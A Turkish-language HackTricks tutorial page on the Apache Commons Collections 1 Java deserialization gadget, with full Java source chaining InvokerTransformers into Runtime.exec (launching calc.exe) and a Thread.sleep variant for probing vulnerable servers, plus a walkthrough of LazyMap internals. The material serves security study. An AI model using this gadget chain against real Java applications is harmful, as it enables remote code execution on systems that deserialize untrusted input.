CommonsCollection1 Payload - Java Transformers to Rutime exec() ve Thread Sleep
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Java Transformers to Rutime exec()
Birçok yerde, aşağıdaki gibi Apache common collections'tan transformer'lar kullanan bir java deserialization payload'u bulabilirsiniz:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Java deserialization payloadları hakkında hiçbir şey bilmiyorsanız, bu kodun neden bir hesap makinesi çalıştıracağını anlamak zor olabilir.
Öncelikle, Java'daki Transformer'ın bir sınıfı aldığı ve onu farklı birine dönüştürdüğü bilgisini bilmeniz gerekir.
Ayrıca burada çalıştırılan payload'ın eşdeğer olduğunu bilmek de ilginçtir:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
Ya da daha kesin olarak, sonunda çalıştırılacak olan:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Nasıl
Peki, ilk yükün sunumu bu "basit" tek satırlara nasıl eşdeğerdir?
İlk olarak, yükte bir dönüşüm zinciri (dizi) oluşturulduğunu görebilirsiniz:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Kodunuzu okursanız, dizinin dönüşümünü bir şekilde zincirleyebilirseniz, rastgele komutları çalıştırabileceğinizi fark edeceksiniz.
Yani, bu dönüşümler nasıl zincirleniyor?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
Yüklemenin son bölümünde bir Map nesnesi oluşturulduğunu görebilirsiniz. Ardından, LazyMap
'ten decorate
fonksiyonu, harita nesnesi ve zincirlenmiş dönüştürücüler ile çalıştırılır. Aşağıdaki koddan, bunun zincirlenmiş dönüştürücülerin lazyMap.factory
niteliğine kopyalanmasına neden olacağını görebilirsiniz:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
Ve sonra büyük final gerçekleştirilir: lazyMap.get("anything");
Bu, get
fonksiyonunun kodudur:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
Ve bu, transform
fonksiyonunun kodudur.
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
Yani, factory içinde chainedTransformer
'ı kaydettiğimizi ve transform
fonksiyonu içinde bu zincirlenmiş tüm dönüştürücülerden geçip birbiri ardına çalıştırdığımızı unutmayın. Komik olan, her dönüştürücünün object
olarak girdi alması ve object'in son çalıştırılan dönüştürücünün çıktısı olmasıdır. Bu nedenle, tüm dönüşümler kötü niyetli yükü zincirleme olarak çalıştırıyor.
Özet
Sonunda, lazyMap'in zincirlenmiş dönüştürücüleri get metodunun içinde nasıl yönettiğine bağlı olarak, sanki aşağıdaki kodu çalıştırıyormuşuz gibi.
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
Dikkat edin ki value
, her bir dönüşümün girişi ve bir önceki dönüşümün çıktısıdır, bu da bir satırlık kodun çalıştırılmasına olanak tanır:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Not edin ki burada ComonsCollections1 yükü için kullanılan gadget'lar açıklandı. Ancak tüm bunların nasıl çalıştığı bırakıldı. Bunu görmek için burada ysoserial kullanarak bu yükü çalıştırmak için bir AnnotationInvocationHandler
nesnesi kullandığını görebilirsiniz çünkü bu nesne serileştirildiğinde, payload.get()
fonksiyonunu çağıracak ve bu da tüm yükü çalıştıracaktır.
Java Thread Sleep
Bu yük, web'in zayıf olup olmadığını belirlemek için kullanışlı olabilir çünkü eğer zayıfsa bir uyku çalıştıracaktır.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Daha Fazla Gadget
Daha fazla gadget burada bulabilirsiniz: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.